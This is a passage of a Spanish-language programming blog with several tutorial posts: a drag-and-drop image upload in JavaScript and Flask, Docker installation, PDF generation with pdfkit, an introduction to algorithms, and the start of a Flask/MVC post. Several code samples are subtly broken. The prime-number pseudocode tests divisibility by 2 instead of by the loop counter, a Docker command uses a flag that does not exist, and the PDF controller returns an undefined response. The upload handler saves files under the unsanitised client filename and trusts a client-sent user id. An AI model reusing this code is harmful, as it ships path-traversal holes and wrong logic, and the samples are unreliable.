    campoFoto.files = transfer.files
    console.log(campoFoto.files)
}

La función tomaArchivos() es la que evaluará y procesará la imagen, usando el método startsWith() con el tipo mime image/. Este solo dejará pasar los archivos que sean tipo imagen (se puede incluso definir la extensión de esta forma image/png si solo quieres de ese tipo).

El FileReader(), nos mostrará la imagen cargada en el campo de arrastre. Fuera del bucle for le pasamos la información con DataTransfer() al campo oculto.

Por último, nos queda definir los eventos.

// Creamos el evento click para el div drop-zone
zonaFoto.addEventListener('click', () => {
    campoFoto.click()
})

// Los dos eventos siguientes crean y deshacen el arrastrar
zonaFoto.addEventListener('dragover', (e) => {
    e.preventDefault()
    e.stopPropagation()
    zonaFoto.classList.add('draggable')
})

zonaFoto.addEventListener('dragleave', () =>{
    zonaFoto.classList.remove('draggable')
})

// Una vez que la imagen se deposita en la zona, se remueve la clase que genera el drag, toma el archivo y lo deja en el campo tipo file
zonaFoto.addEventListener('drop', (e) => {
    e.preventDefault()
    e.stopPropagation()
    zonaFoto.classList.remove('draggable')
    const foto = e.dataTransfer.files
    tomaArchivos(foto)
})

// Por último, el campo file, detecta si hubo un cambio y toma la imagen guardándola.
campoFoto.addEventListener('change', () => {
    tomaArchivos(campoFoto.files)
})

Estos eventos, son dragover, que crea el "arrastrar" y dragleave que lo quita, esto moviendo la clase .dragabble, sea el caso. El siguiente, drop, desactiva el arrastrar, dejando el archivo depositado en la zona y transfiriéndolo al campo tipo file, que detecta el cambio y lo guarda.

Con esto, ahora creamos el evento para subirlo.

/* En este evento, invocaremos al método fetch API que subirá la imagen mas un dato adicional, esto para que el backend lo tome y procese */
document.getElementById('uploadimagen').addEventListener('submit', function(e) {
    e.preventDefault()
    cargaLoader()
    const form = new FormData()
    form.append('file', document.querySelector('input[type="file"]').files[0])
    form.append('idusuario', usuario)

    fetch('/subirimagen', {
        method : 'POST',
        body : form
    })
    .then(response => response.json())
    .then(data => {
        modal.hide()
        if (data.resp == 1) {
            cierraLoader()
            jconfirm({
                title: 'Realizado',
                content : data.msg,
                type : 'green',
                buttons : {
                    aceptar : {
                        btnClass : 'btn-success ripple',
                        action : () => {
                            window.location.reload()
                        }
                    }
                }
            })
        } else  {
            cierraLoader()
            alerta(3, data.msg)
        }
    })
    .catch(error => {
        console.log(error)
    })
})

Con este evento en el botón, el formulario donde se encuentra el drag and drop, subirá la imagen al backend.

Backend Python Flask.

Ahora iremos por el lado del backend. Ya definidos los eventos en el front, ahora debemos procesar la imagen que esta ya cargada en buffer.

@user.route('/subirimagen', methods = ['POST'])
def upload_image():
    if request.method == 'POST':
        idusuario = request.form['idusuario']
        nombrearchivo = ''

        if 'file' not in request.files and 'idusuario' not in request.form:
            return json.dumps({'resp' : 0, 'msg' : 'No se encontraron datos'})
        else:
            file = request.files['file']

            if file.filename == '':
                return json.dumps({'resp' : 0, 'msg' : 'No se ha seleccionado ningun archivo'})
            else:
                    # Esta esa funcion aparte, que se describe mas abajo.
                extension = Utils.validar_extension(file.filename)

                if not extension:               
                    return json.dumps({'resp' : 0, 'msg' : 'El archivo no es permitido'})
                else:
                    extension = file.filename.rsplit('.', 1)[1].lower()

                    if extension not in {'png', 'jpg', 'jpeg'}:
                        return json.dumps({'resp' : 0, 'msg' : 'Este archivo no es una imagen valida'})
            directorio = UPLOAD_PROFILE_IMAGE
            upload = os.path.join(directorio, file.filename)

            try:
                file.save(upload)
                nombrearchivo = file.filename
                # Una vez arriba el archivo, se procede a guardar su nombre y extensión.
                resp = usuarioModel.update_url_img_profile(idusuario, nombrearchivo)                

                if resp == 1:
                    Utils.set_history(session['usuario'][0], 'paginausuario', f'Se subio foto de perfil para usuario  {str(idusuario)}')
                    return json.dumps({'resp' : 1, 'msg' : 'Imagen subida correctamente'})
                else:
                    return json.dumps({'resp' : 0, 'msg' : 'Ocurrio un error al intentar subir el archivo'})
            except Exception as e:
                Utils.errorLog(f'Error al guardar el archivo {str(e)}')
                return json.dumps({'resp' : 0, 'msg' : f'Error al guardar el archivo'})

En este controlador, validamos la imagen y el parámetro asociado, para entregarselo al model que ingresara la url a la base de datos.

Definimos una constante UPLOAD_PROFILE_IMAGE, que guarda la url donde quedara. Se pone por lo general en el encabezado antes de las funciones o en caso de ser OPP, fuera de la clase. Para este caso, usaremos una ruta estática definida en el backend.

UPLOAD_PROFILE_IMAGE = 'static/img/profile/'

Lo otro a considerar es Utils.validar_extension(file.filename) que es una función parte de una librería interna para validar las extensiones almacenadas en un diccionario. Se detalla a continuación.

#Utils.py
# Aqui se definen las extensiones permitidas. 
ALLOWED_EXTENSIONS = {'xslx', 'png', 'jpg', 'jpeg'}

# Funcion que valida si la extensión está dentro del diccionario.
def validar_extension(archivo):
    return '.' in archivo and archivo.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

En cuanto al modelo, el método será de actualización del campo en específico, donde el parámetro idusuario es el identificador.

def update_url_img_profile(idusuario, ruta):
    conexion = conn()
    string = "update public.usuarios set imagenperfil = %s where id = %s;"

    try:
        sql = conexion.cursor()
        sql.execute(string, (ruta, idusuario))
        sql.close()
        conexion.commit()
        return 1
    except psycopg2.DatabaseError as e:
        conexion.rollback()
        Utils.errorLog(str(e))
        return 0
    finally:
        conexion.close()

El resultado final será:

Se podrá arrastrar y soltar una imagen dentro del recuadro.
Se subirá al backend, guardando la imagen y mostrándola en la zona donde va el avatar.

El resultado, pueden verlo en el siguiente video.

Docker: Concepto e Instalación

Hermann Pollack (hpollack95) — Tue, 03 Jun 2025 02:52:38 +0000

Si eres de los que entraron a la profesión computacional e informática, sabrás que cada día salen nuevas herramientas que es necesario aprender. Entre ellas, el concepto de contenedores de Linux, que nos permiten construir y desplegar aplicaciones de manera mas eficiente. Docker es una herramienta necesaria de conocer en ese sentido, así que explicaré de que se trata después del salto.

Contenedores

La mayor parte de la tecnología existen de Internet hoy, se basa en el paradigma cliente-servidor, donde una máquina envía una petición de información (cliente) a otra que procesa y envía la respuesta (servidor). En estas últimas, lo ideal es saber dividir y administrar los procesos, aplicaciones y servicios para que la respuesta sea rápida y concisa a las necesidades del cliente.

Ahora bien, ya existen aparte del sistema de contenedores, otras de realizar la separación, mediante máquinas y host virtuales, Las grandes diferencias existentes eso si. están en que, mientras la máquina virtual, es un servidor dentro de otro, el virtual host es un espacio, con su propio usuario, dentro del mismo servidor web. Algo como lo que podría ejemplificar abajo.

Virtual Host: Separa las aplicaciones web por usuario y directorios, pero siempre ocupan el mismo servidor web (apache o nginx).
Virtual Machine: Una máquina virtual, "virtualiza" un servidor dentro del real. Pueden ser varias dentro del mismo, con todo lo que este conlleva, compartiendo eso si, recursos de la máquina huésped.
Contenedores: Son imágenes que que trabajan en conjunto dentro del servidor, muy parecidas a las VM, con la salvedad que tienen lo necesario para trabajar ciertas partes de la aplicación y pueden comunicarse entre si de manera mas fácil que dos VM. La diferencia con las anteriores es que son una imagen con solo lo necesario para el despliegue.

En los sistemas basados en Linux, que son los más usados en el mundo, poseen varias herramientas a la hora de administrar las peticiones del servidor, entre ellas lo que se conocen como virtual host para web y los contenedores. Estos últimos son "imágenes" del sistema con lo necesario para que un web-server, una base de datos relacional , sistema de archivos etc., puedan funcionar independientemente dentro del servidor. Como son algo complicados de utilizar, es que aparece la solución, de entre varias similares, conocida como Docker.

¿Qué es Docker?

Docker es un conjunto de herramientas de software que se utilizan para el despliegue y mantenimiento de aplicaciones y su función principal, está basado en el paradigma de los contenedores. Permite crear imágenes con lo necesario para ejecutar dichas aplicaciones. Cada versión viene con Linux, por lo genera Ubuntu, con los archivos necesarios para la ejecución, que se llaman imágenes, las cuales se pueden ejecutar y administrar en paralelo, de forma independiente, pero que pueden interconectarse entre si.

Esto permite varias cosas entre las que se destacan, el poder aislar y comunicar los distintos componentes de una aplicación, por ejemplo, la aplicación web, de la API y/o las bases de datos, mayor facilidad en el despliegue e incluso en el control de versiones. Eso sin contar que posee una gran biblioteca de imágenes creadas, tanto por la comunidad, como por empresas que gestionan software libre.

Instalación.

El proceso de instalación de Docker es sencillo. Aquí explicaré su instalación en Ubuntu.

Lo primero es actualizar el gestor de paquetes

sudo apt update

Lo siguiente es instalar los paquetes necesarios para la certificación HTTPS

sudo apt install apt-transport-https ca-certificates curl software-properties-common

Se agrega la key GPG del repositorio oficial de Docker.

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

Y luego se agrega el repositorio al gestor de paquetes.

echo "deb \[arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg\] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

Se vuelve a actualizar el gestor de paquetes y se revisa cual es la versión estable.

sudo apt update

Se procede a la instalación.

sudo apt install docker-ce

Una vez instalado, se comprueba si el demonio se ha inicializado.

sudo systemctl status docker

La salida

Output
● docker.service - Docker Application Container Engine
     Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
     Active: active (running) since Fri 2022-04-01 21:30:25 UTC; 22s ago
TriggeredBy: ● docker.socket
       Docs: https://docs.docker.com
   Main PID: 7854 (dockerd)
      Tasks: 7
     Memory: 38.3M
        CPU: 340ms
     CGroup: /system.slice/docker.service
             └─7854 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Por último, se asigna un usuario a Docker.

sudo usermod -aG docker ${USER}
# Una vez el usuario esta con privilegios.
su - ${USER}

Usando Docker.

Si bien tiene varios comandos. Acá se solo mostraré los esenciales para su uso. Docker en su repositorio oficial tiene varias imagenes ya creadas que nos serán esenciales. Aquí explicare el uso básico para el despliegue de una simple aplicación web.

Lo primero que haremos es instalar el contenedor oficial de apache.

docker search apache

La salida nos mostrará algo así.

Output
NAME                             DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
httpd                            The Apache HTTP Server Project                  4583      \[OK\]
tomcat                           Apache Tomcat is an open source implementati…   3600      \[OK\]
maven                            Apache Maven is a software project managemen…   1529      \[OK\]
zookeeper                        Apache ZooKeeper is an open-source server wh…   1391      \[OK\]
cassandra                        Apache Cassandra is an open-source distribut…   1501      \[OK\]
solr                             Apache Solr is the popular, blazing-fast, op…   968       \[OK\]
flink                            Apache Flink® is a powerful open-source dist…   405       \[OK\]
groovy                           Apache Groovy is a multi-faceted language fo…   144       \[OK\]
tomee                            Apache TomEE is an all-Apache Java EE certif…   113       \[OK\]
storm                            Apache Storm is a free and open source distr…   195       \[OK\]
spark                            Apache Spark - A unified analytics engine fo…   19        \[OK\]
...

El comando anterior, nos busca la imagen por nombre desde el repositorio oficial de docker. Aparte de este, hay muchos otras imagenes customizadas por la comunidad, pero por ahora usaremos esta.

docker pull httpd

Nota: el comando anterior permite descargar la imagen, sin embargo, podemos hacerlo directamente con el comando docker run *nombre de la imagen*

Una vez descargada veremos las imágenes que tenemos con el siguiente comando:

docker images

Nos dará la siguiente salida:

REPOSITORY TAG IMAGE ID CREATED SIZE  
httpd latest 181007c9adb9 4 weeks ago 77.8MB  
portainer/portainer-ce latest d7f7a88e1acc 6 weeks ago 294MB  
postgres latest f7d9a0d4223b 7 weeks ago 417MB

En este caso, tengo 3 imágenes instaladas. En la lista se detalla lo siguiente.

Repository: el nombre del repositorio de la imagen.
TAG: nos indica que la última versión disponible.
Image ID: Es el identificador de la imagen.
Created: Los días que lleva creado el sistema.
Size: El tamaño de la imagen.

Para instalar un contenedor a partir de una imagen, se usa el siguiente comando.

docker run --webserver test -it httpd # el tag --name es el nombre del contenedor

Con el siguiente comando, veremos los contenedores creados y sus status

docker ps -a
# Salida
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS 31679f076b43 postgres "docker-entrypoint.s…" 11 days ago Up 10 minutes 5432/tcp database  
181007c9adb9 httpd "/bin/bash" 11 days ago Exited (137) 10 days ago webserver  
cab1cfd94b3c portainer/portainer-ce:latest "/portainer" 11 days ago Up 2 hours 0.0.0.0:9000->9000/tcp, :::9000->9000/tcp, 8000/tcp, 0.0.0.0:9443->9443/tcp, :::9443->9443/tcp portainer

En esta salida, podemos apreciar lo siguiente:

Container ID: el identificador del contenedor.
Image: La imagen utilizada para crearlo.
Command: el comando requerido para ingresar a el (opcional al /bin/bash/)
Created: dias y horas en que fue creado.
Status: el estado en que se encuentra (indica los días y horas en que fue ejecutado si esta detenido)
Ports: los puertos que utiliza. Si aparecen son los puertos públicos. Algunas imagenes traen los puertos configurados. Para arrancar los contenedores se requiere el siguiente comando.

docker start 181007c9adb9

donde al lado de start, pondremos la ID del contenedor. En nuestro caso, arranqué httpd y postgres.

Dentro del contenedor.

Una vez inicializado el contenedor, para ingresar a el, necesitamos el siguiente comando.

docker exec -it 181007c9adb9 /bin/bash

En nuestro caso, ingresamos al del servidor web. Dentro de este, podremos gestionar todo lo que será la aplicacion web. Ahora bien ¿Qué pasa si quiero separar la aplicacion web, de la base de datos? Por defecto, Docker posee una subred que actúa de puente y que utiliza por defecto, la IP 172.17.0.0/16 o 172.17.0.1/16. Se puede verificar con el comando ip adress en el host principal.

docker0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default  
link/ether 02:42:29:ab:78:66 brd ff:ff:ff:ff:ff:ff  
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0  
valid_lft forever preferred_lft forever  
inet6 fe80::42:29ff:feab:7866/64 scope link  
valid_lft forever preferred_lft forever

Las ips asignadas dentro del rango de IP's del contenedor, van siendo realizadas por orden de creación y siempre son las mismas. Aquí por ejemplo, veremos la IP de uno de los contenedores.

docker inspect -f \\

La salida sería la siguiente

'{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \\  
31679f076b43 // el contenedor de la base de datos

Cada contenedor posee su propia IP, por lo que es fácil conectarla. Vamos entonces a conectar la aplicacion web con la base de datos usando las IP

Ingresamos al config.php de la aplicacion.

$cfg = new stdClass();

$cfg->url = 'http://ipmaquina:81/erp'; // en cuanto se asigne un dominio, se cambia

$cfg->dbhost = '172.16.0.4'; // La IP del contenedor de base de datos. En este caso PostgreSQL $cfg->dbport = '5432';  
$cfg->dbuser = 'nombreusuario'; $cfg->dbpass = 'claveusuario';  
$cfg->dbname = 'nombrebasededatos';

// $cfg->log = 'C:\\\\tools\\\\Apache24\\\\htdocs\\\\erp\\\\logs\\\\'; $cfg->log = $\_SERVER\['DOCUMENT_ROOT'\].'/erp/logs/';

Una vez terminado, la aplicación se estará ejecutando.

Concluyendo.

Docker tiene muchas otras herramientas que no detallaré aquí, pero con esto, pueden desplegar una aplicacion web, API o cualquier servicio de manera simple. Es una forma eficaz de trabajar sin tener que sobrecargar el servidor.

Por cierto, tambien tiene una herramienta gráfica llamada Portainer, la cual muestra el estado de los contenedores y permite gestionar Dockers desde la web, lo que facilita mucho el uso.

En fin, esto es más que nada para comenzar a utilizar el poder de los contenedores y administrar mejor los recursos del server. Nos vemos en otro post.

Crear PDF a partir de HTML y Python.

Hermann Pollack (hpollack95) — Mon, 02 Jun 2025 22:17:58 +0000

Lo admito. En mis más de 10 años en el rubro de la programación –bello y estresante a la vez-, si hay algo a lo que siempre le he buscado la vuelta es a construir documentos en PDF. Buscando alternativas en mis tiempos libres, encontré una forma más amigable, que parte de un archivo HTML, para crear dichos documentos, usando Flask, wkhtmltopdf y pdfkit en Python.

Python es uno de los lenguajes más usados en la actualidad, tanto por su performance, como su facilidad de uso y abundantes librerías. Aun así, para crear PDF, me encontraba con la misma dificultad de otros lenguajes Open Source como php: había que hacer todo a mano. Claro, aparte de ser un trabajo de largo aliento, los resultados de por sí, no eran del todo satisfactorios.

Sin embargo, gracias a la magia de Internet y la infinidad de recursos que puedes encontrar, podemos crear PDF a partir de un HTML, el cual, se genera mediante linea de comandos con el paquete estándar wkhtmltopdf. Para ellos hay que instalarlo de la siguiente manera:

# En Windows, usamos chocolatey
 choco install wkhtmltopdf
 # EN Linux, el gesto de paquetes correspondiente a la distro. En este caso Ubuntu
 apt install wkhtmltopdf

En python Flask, micro framework para el desarrollo de aplicaciones web, incluiremos el paquete pdfkit, el cual servirá de “puente” entre wkhtmltopdf y la aplicación.

 pip install pdfkit

La vista.

Creamos un vista html, usando los marcadores de Jinja, para el paso de los parámetros.

<div class="mb-10">
        <div class="p-4 text-center" style="float: right; border:#ff0000 solid 6px">
            <h1 style="text-align: center;"><span style="color: #ff0000; font-weight: bold;">{{ documento }}</span></h2>
            <h1 style="text-align: center;"><span style="color: #ff0000; font-weight: bold;">N&deg; {{ numdocu }}</span></h2>
        </div>
        <div>
            {% if logo %}
                <img src="{{ request.url_root }}static/img/logos/{{ logo }}" alt="logo">
            {% else %}
                <img src="{{ request.url_root }}static/img/simplerp/loader.png" sizes="50" alt="logo">
            {% endif %}
        </div>
        <div class="mt-3">
            <strong>{{ rutemisor }}</strong><br>
            <strong>{{ razonsocial }}</strong><br>
            <strong>{{ direccion }}</strong><br>
            <strong>{{ telefono }}</strong></p>
        </div>
    </div>

Como se puede ver, los valores encerrados en {{}} serán los parámetros que el controlador le pasará a la vista una vez procesados los datos desde el Modelo.

if(e.target.closest('.download')) {
            let el = e.target.closest('.download')
            let tipo = el.getAttribute('data-tipo')
            let emisor = el.getAttribute('data-empresa')
            let id = el.getAttribute('data-id')

            let params = JSON.stringify({tipo : tipo, empresa : emisor, idocu : id})
            cargaLoader()

            fetch('/generarpdf', {
                method : 'POST',
                headers : {
                    'Content-type' : 'application/json',
                    'Accept' : 'application/json'
                },
                body : params
            })
            .then(response => {
                cierraLoader()
                if (response.ok) {
                    return response.blob();
                } else {
                    return response.json().then(data => {
                        throw new Error(data.msg);
                    })
                }
            })
            .then(blob => {
                cierraLoader()
                const url = window.URL.createObjectURL(blob)
                document.getElementById('verpdf').src = url
                modalPdf.show()
            })
            .catch(error => {
                cierraLoader()
                console.log(error.message)
                alerta(3, 'Ocurrio un error al intentar generar el documento.')
            })
        }

La función Javascript descrita aquí está en un botón de la lista, que genera el documento. Aquí interactuamos con con el controlador, usando Fetch API, para procesar de forma asíncrona la información.

Controlador

En el controlador, se procesan los datos que el response del Modelo entrega. Me centraré en la generación del documento.

data = {
                'documento' : documento,
                'numdocu' : numdocu,
                'rutemisor' : rutemisor, 
                'razonsocial' : razon_social, 
                'direccion' : direccion, 
                'telefono' : telefono, 
                'rutreceptor' : rutreceptor, 
                'razonreceptor' : razonreceptor, 
                'direceptor' : direceptor, 
                'telreceptor' : telreceptor,
                'fecha' : fecha,
                'nota' : nota,
                'items' : items,
                'neto' : Utils.agregaPuntos(sumatotal),
                'iva' : Utils.agregaPuntos(iva),
                'total' : Utils.agregaPuntos( total)                 
            }

            renderizado = render_template('empresa/documentos/plantilladocu.html', **data)

            opciones = {
                'page-size' : 'A4',
                'encoding' : 'UTF-8',
                'user-style-sheet' : 'static/css/pdf.css'
            }
           return response

El diccionario data, asocia a una clave, al valor que viene desde el Modelo ya procesado. En la siguiente línea, renderizamos el template de ejemplo y le entregamos las opciones a usar, en este caso, un tamaño de papel A4 y codificado en UTF-8, que es el estándar universal.

pdf = pdfkit.from_string(renderizado, False, options=opciones)
            salida = uploads['UPLOAD_DOCUMENTOS'] + '/' + str(documento) + '-' + str(numdocu) + '.pdf'

            response = make_response(pdf)
            response.headers['Content-type'] = 'application/pdf'
            response.headers['Content-Disposition'] = f'inline; filename={salida}'

En las siguientes líneas, generamos el pdf. El método from_string, toma el HTML renderizado con los parámetros ya pasados a la vista y las opciones generales. El valor False, va por defecto.

Al final en el último headers del response, agregamos inline, para que no fuerce la descarga.
El resultado es el siguiente.

Resumiendo: si bien crear documentos PDF con librerías tipo FPDF y otras, es una buena alternativa, a veces hay que ahorrar tiempo, y si tienes herramientas que permitan trabajar de forma óptima y los resultados son ídem, bien vale conocerlas. Un saludo a todos.

El algoritmo.

Hermann Pollack (hpollack95) — Thu, 22 May 2025 17:22:07 +0000

No se puede negar. Todos han escuchado alguna vez, ya sea en las noticias o redes sociales, que hablan de "el algoritmo de X". Incluso aquellos con sus cadenitas, que buscan engañarlos. Si, en la era de la información, estamos dentro de lo que llamaríamos, la dictadura de los algoritmos. El gran problema es que muchos internautas, ni siquiera saben lo que es, salvo que tengas una profesión donde te toque tratar con ellos, como es mi caso. En fin, como a mi me gusta que el conocimiento sea libre, voy a tratar de explicar con peras y manzanas el concepto de algoritmo.

Vamos a partir por algo básico. Cualquier tarea que realicemos, sigue una serie de pasos, desde que la comenzamos, hasta terminarla -claro, habemos algunas que ni eso-. Dentro de esa serie, hay momentos en que tenemos que tomar una decisión sobre que hacer en caso de que se presente algo que no esperábamos, lo que llamaremos condición, y a eso le agregamos que hay algunas que se harán una y otra vez, lo que conoceremos como bucle. En esencia, esta es la descripción más básica y simple de lo que es un algoritmo.

Voy a darles un ejemplo: levantarse en la mañana. El primer paso es -obviamente- abrir los ojos. Luego siguen: estirarse, ir a la ducha. Si hace mucho frio, usamos agua caliente, si no, agua tibia. Volvemos a vestirnos, escogemos la ropa, nos la colocamos y vamos a desayunar. Estos pasos pueden denotarse de la siguiente manera.

Inicio:
    Abrir los ojos
    Levantarse
    Ir a la ducha
    Si hace frio:
        Abrir agua caliente
    Si no:
        Abrir agua tibia
    Fin Si
    Secarse
    Escoger ropa
    Si es dia laboral:
         Ropa de trabajo
    Si no:
        Ropa informal
    Fin Si
    Ir a desayunar
Fin

Como pueden ver estimados lectores, la sencilla tarea de levantarse, se puede secuenciar en un algoritmo.

¿Pero de donde nace este concepto?

El algoritmo es un concepto matemático. Si bien los griegos ya lo conocían, al parecer fue en edad de oro de Medio Oriente, donde se formuló la primera explicación de este. En el siglo X, un matemático persa de nombre Al-Juarismi, describió las reglas del álgebra, como una serie de pasos a seguir para resolver problemas abstractos. En esencia los algoritmos, van muy de la mano de las matemáticas, con el correr de los siglos. En el mundo digital, desde los inicios de la computación moderna, han estado presente, pasando desde Kurt Gödel, hasta Alan Turing, aunque gran parte de las bases fueron cimentadas, por George Boole y su álgebra binaria.

Y en esencia, las computadores, celulares y cualquier instrumento electrónico, entiende solo un idioma: ceros y unos. En base a eso, podemos hacer cosas desde usar una simple calculadora a tener juegos de gráficas deslumbrantes, pasando por la navegación de Internet. Ahora bien, hacer todo en base a ceros y unos, es algo complicado, por lo que durante gran parte del siglo XX, se trabajó en formas, más sencillas de interactuar con las máquinas, usando el lenguaje natural. De ahí nacen los lenguajes de programación, que permiten desarrollar lo mencionado anteriormente y muchas otras cosas mas. Todas basadas en algoritmos.

Las partes de un algoritmo.

En esencia, los algoritmos cuenta de forma general con 3 partes.

Entrada: Son los datos que se ingresan para que el algoritmo pueda operar.
Proceso: La operación lógica formal en que el algoritmo trabajará con los datos de entrada
Salida: Los datos del resultados que el algoritmo entrega.

Con lo anterior, podemos ver que los programas computacionales (software) son un conjunto de algoritmos, que procesan datos de entrada, para darnos una salida. El ejemplo mas sencillo es cuando subes una foto desde tu teléfono (entrada) a alguna aplicación como Instagram para que se vea en el perfil (salida), donde además podremos rellenar una caja de texto. En la parte que el usuario no ve, estos campos -la foto y el texto- el programa almacena esos datos en espacios de memoria, llamados variables. Una vez almacenadas, empiezan los procesos internos, que analizan el contenido de éstas, para luego publicarla. En estos procesos encontramos varios otros conceptos que describen un algoritmo las cuales comento a continuación.

Variables: Las mencionadas arriba, son espacios de memoria que almacenan los datos de entrada para su procesamiento por los algoritmos y también la información de salida (lo que se ve en pantalla). Pueden ser desde números hasta multimedia.
Constantes: Similares a las variables, con la salvedad que son valores que no cambian dentro del programa, a menos que el programador haga un ajuste al algoritmo. Estos valores, por lo general, funcionan como valores de control dentro del algoritmo.

Ahora bien, hay que recordar que los datos de entrada, sea texto, números, hasta fotos y videos, son codificados en secuencias numéricas y traducidas al lenguaje binario, con el que la máquina realiza cálculos. Un ejemplo es si la subida de fotos tiene un límite de peso (por ejemplo 2 megabytes), evaluará esta y procederá al proceso correspondiente (si subirla, como está, reducirla de tamaño y calidad, o bien, devolver un mensaje de advertencia u error, dependiendo del caso). Para que esto ocurra, dentro de la estructura del algoritmo, existen los denominados operadores, los cuáles se utilizan para calcular, ordenar y evaluar los valores de variables y constantes.

Un ejemplo básico es el de la suma.

Inicio
   Int a = 2
   Int b = 2
   Int suma = a + b
   Imprimir Suma
Fin

Lo que realiza el algoritmo de arriba es una suma basica entre dos valores. Se usan 3 variables: a, b y Suma, que es el resultado que se vería en pantalla. Podemos cambiarles los valores y devolverá la suma de estos. Ahora un poco más complicado, con la operación de la división que tiene condiciones especiales. Primero no usaremos numeros enteros, porque habrá ocasiones en que devolverá decimales (ejemplo sería el 10 dividido por 3). Además agregaremos una condición.

Inicio
   Float a
   Float b
   Si b <> 0:
       Float division = a / b
       Imprimir division.
   Si no:
       Imprimir "No se puede dividir por cero"
   Fin Si
Fin

En este ejemplo, podemos ver que agregamos la llamada condición. Estas se usan para evaluar situaciones en que se pueden dar errores. En este caso, por regla matemática, no existe la división por cero, por lo que, en caso de que un valor en el divisor, sea cero, enviará un mensaje de error. Esto es como escoger dos caminos distintos en una intersección. Dependerá de donde se quiera ir, será la respuesta (o bien la más conveniente). Volviendo a la división, lo que evaluamos es que el valor de b, sea distinto (<>) a 0, para realizar la operación. En caso contrario, se saltará ese paso y advertirá que no se puede.

Entramos entonces a dos nuevos conceptos que se definen a continuación.

Operadores: Son los símbolos que nos permiten evaluar y resolver, valga la redundancia, operaciones presentadas dentro del diseño de un algoritmo. Los hay aritméticos: suma (+), resta (-), multiplicación (*) y división (/), pero también los condicionales: mayor (>), menor (<), mayor igual (>=), menor igual (<=), igual (= o == dependiendo del lenguaje de programación), distinto (<> o !=, dependiendo del lenguaje) y lógicos, también llamados booleanos (and, or y not, entre otros).
Condiciones: son también llamadas decisiones. Se denotan con un si, y se aplica algún operador de los mencionados mas arriba (condicionales) que comparan dos o mas valores, para decidir que opción tomar dentro del algoritmo, para llegar a la resolución de un problema.

Ahora bien, retomemos el algoritmo de levantarse, visto anteriormente. Es una tarea que hacemos, prácticamente todos los días. Y como cualquier tarea diaria organizada, solemos tener un horario determinado para realizarlas. Pues bien, dentro del mismo día, hacemos varias tareas, algunas incluso que se repiten una y otra vez, hasta que se complete o bien ocurra algo que nos haga saltar a otra. En la computación y en los algoritmos propiamente tal, las tareas repetitivas son conocidas como ciclos o bucles. De por si, el hecho de encender un dispositivo es un bucle donde se activan todas las tareas y procesos necesarios para su funcionamiento. Y muchas de ellas, están separadas del proceso principal, siendo invocadas al momento de utilizarse. Son las subrutinas o funciones, que permiten separar tareas que realizaremos mas de una vez en el algoritmo principal.

Tomemos el ejemplo siguiente: al ingresar un numero, el programa debe resolver si es un número primo o no.

Inicio:
    Subrutina esPrimo (numero):
        Entero num = numero
        Entero contador = 0;
        Entero x = 1

        Mientras x <= num:
           # Utilizamos una función computacional que extrae el resto de una división. Para que el contador suba, debe quedar en cero. Esto es, si un numero no es primo, habrán otros valores cuyo resto de la división, será 0  
            Si num Mod 2 == 0:
                contador = contador + 1
            Fin Si
            x = x + 1
        Fin Mientras

        Si  contador == 2:
            retorna Verdadero
        Si no:
            retorna Falso
        Fin Si
    Fin Subrutina

    Entero numero
    String respuesta
    Escribe "Ingresar numero: " -> numero
    Leer numero

    respuesta = esPrimo(numero)
        Si respuesta == Verdadero:
            Imprime "Es primo"
        Si no:
            Imprime "No es primo" 
    Fin Si
Fin

En el ejemplo de arriba, se incluyen los dos conceptos mencionados anteriormente. La subrutina como tal, es un algoritmo separado del principal y que este último, solo invoca cuando es requerido. En la mayoría de las aplicaciones, muchas tareas se realizan más de una vez (como subir una foto a Instagram), por lo que se separan del programa principal y son llamados en los momentos en que se requieren. Además dentro del algoritmo que busca los números primos se usa un bucle, el cual consiste en un proceso que se repite hasta que la condición indicada, en este caso, que la constante x tenga un valor menor o igual al numero que ingresa por parámetro (entre paréntesis en la subrutina), se detendrá el proceso y pasará al siguiente bloque de instrucciones. En esencia, un bucle de este tipo lo vemos cuando encendemos el dispositivo o entramos en una aplicación. A menos que la cerremos, seguirá funcionando y haciendo las tareas dentro de este.

Terminando.

Ciertamente se me quedan varias cosas en el tintero, como los tipos de bucle y condición y todo lo que tiene que ver con otros paradigmas de programación, pero la idea de este post, es mostrarles lo que hay detrás de la palabra algoritmo que tanto mencionan en los medios (que son más complejos, pero cuya base es la que les he mostrado en este post). Sin más que agregar, les dejo un ejemplo en javascript del algoritmo de números primos para que puedan verlo y comprobar su funcionamiento, el que encontrarán pinchando aquí.

Flask y MVC: Conceptos e Instalación.

Hermann Pollack (hpollack95) — Fri, 16 May 2025 16:04:24 +0000

Renuncio a PHP (?). No, la verdad es que sigue siendo mi lenguaje padre, para varios proyectos, especialmente por su facilidad de uso. Sin embargo siempre me interesó Python y como me oriento al desarrollo web, encontre en Flask a mi pastor (nada me faltará). Así que en este post, explicaré algunas cosillas para que puedan crear proyectos con este framework.

Primero que todo: el Patrón MVC.

De un tiempo a esta parte, la web se ha convertido en la principal herramienta para compartir información. A más de 30 años del estreno en sociedad de HTML, todo lo que salió después, orientado a crear verdaderos sistemas, fue evolucionando y estandarizando hasta lo que tenemos hoy, por lo que pronto se hizo necesario, desarrollar formas eficientes para su construcción.

Una de estas fórmulas es el Patron de Arquitectura Modelo-Vista-Controlador. Este es un concepto que pretende a grandes rasgos, separar los datos -Modelo-, de la presentación -Vista- y la lógica de negocio -Controlador-. Es decir, cada "capa" o parte del proyecto, funciona de manera aislada, intercomunicándose entre si, de la siguiente manera.

Si bien existen otros Patrones de arquitectura, la mayoría de los frameworks existentes en el mercado, basan su estructura en este. Brevemente describiré sus componentes.

Modelo: Es el que interactúa con los datos. Puede ser incluso utilizado para crear las entidades de datos, sean SQL o No SQL.
